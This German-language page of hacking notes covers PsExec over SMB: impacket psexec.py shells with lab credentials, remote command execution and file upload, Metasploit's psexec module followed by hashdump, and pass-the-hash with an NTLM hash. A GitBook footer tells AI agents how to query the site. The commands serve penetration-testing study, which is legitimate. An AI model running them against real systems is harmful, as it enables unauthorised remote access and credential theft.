> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/ports-and-services/smb-445/psexec-smb-tool.md).

# PsExec (SMB-Werkzeug)

> **PsExec** ist ein Tool in Microsofts Sysinternals-Suite, das verwendet wird, um Befehle oder Programme aus der Ferne auf Windows-Computern auszuführen. Es ermöglicht interaktiven oder Hintergrundzugriff auf einen Remote-Computer, oft mit erhöhten Rechten, ohne dass eine physische Verbindung oder ein RDP-Client erforderlich ist. Dies ist besonders nützlich für Netzwerkadministration, Sicherheitstests oder Aufgabenautomatisierung.

Wenn die folgende Meldung erscheint:

> „Signierung aktiviert, aber nicht erforderlich“

<figure><img src="/files/899500da6d90653c3a63a3ceb6dff31852db3890" alt="" width="563"><figcaption></figcaption></figure>

* Dies bedeutet, dass die Authentifizierung ohne Signaturprüfung erfolgen kann. Unsichere Kommunikation kann möglich sein und einen Missbrauch im Zusammenhang mit der Authentifizierung ermöglichen.

### **PsExec.py**

Hier ist ein Beispielbefehl, um eine interaktive Shell mit administrativen Rechten zu erhalten:

```bash
psexec.py <domain>/<user>:<password>@<ip_address> cmd.exe
```

```bash
psexec.py active.htb/Administrator:Ticketmaster1968@10.10.10.100 cmd.exe
```

<figure><img src="/files/63be08e206737e9f44d38888828a5e286be305d8" alt=""><figcaption></figcaption></figure>

### **Remote-Ausführung von Befehlen**

Ermöglicht es Ihnen, Befehle oder Skripte direkt auf einem Remote-Computer zu starten, ohne eine Benutzersitzung zu öffnen.

```bash
psexec //<ip_address> -u <user> -p <password> <command>
```

```bash
psexec //192.168.1.100 -u Administrator -p Password123 cmd /c "ipconfig /all"
```

### **Remote-Datei-Upload**

PsExec ermöglicht es Ihnen, eine lokale Datei vor der Ausführung auf den Remote-Computer zu kopieren.

```bash
psexec //<ip_address> -c <file_path>
```

```bash
psexec.py //192.168.1.100 -c C:/path/to/my_file.exe
```

## Metasploit

**Verwendung von Metasploit, um SMB mit PsExec auszunutzen**

1. Starten Sie Metasploit mit dem **Exploit-Modul windows/smb/psexec** :

```bash
use exploit/windows/smb/psexec
set RHOSTS demo.ine.local
set SMBUser Administrator
set SMBPass qwertyuiop
exploit
```

<figure><img src="/files/4bfd9bb3d270548a553aed3984dea73ac6dff1bc" alt=""><figcaption></figcaption></figure>

Nach dem erfolgreichen Erhalt des Zugriffs ist es möglich, die Passwort-Hashes zu „dumpen“:

```bash
hashdump
```

<figure><img src="/files/5614c5b1bfae1a8ea13119934790dab1c0720d2b" alt=""><figcaption></figcaption></figure>

### **Pass-the-Hash - PsExec**

PsExec kann auch für Pass-the-Hash verwendet werden, indem statt eines Passworts ein NTLM-Hash angegeben wird. Dies kann administrativen Zugriff ermöglichen, wenn der Hash zu einem privilegierten Konto gehört:

```bash
psexec.py <domain>/<user>@<ip_address> -hashes :<ntlm_hash>
```

```bash
psexec.py WORKGROUP/Administrator@10.10.10.63 -hashes :e0fb1fb85756c24235ff238cbe81fe00
```

<figure><img src="/files/d8443c0232dea610758c29c7bcc8b5e59c505fb6" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/ports-and-services/smb-445/psexec-smb-tool.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
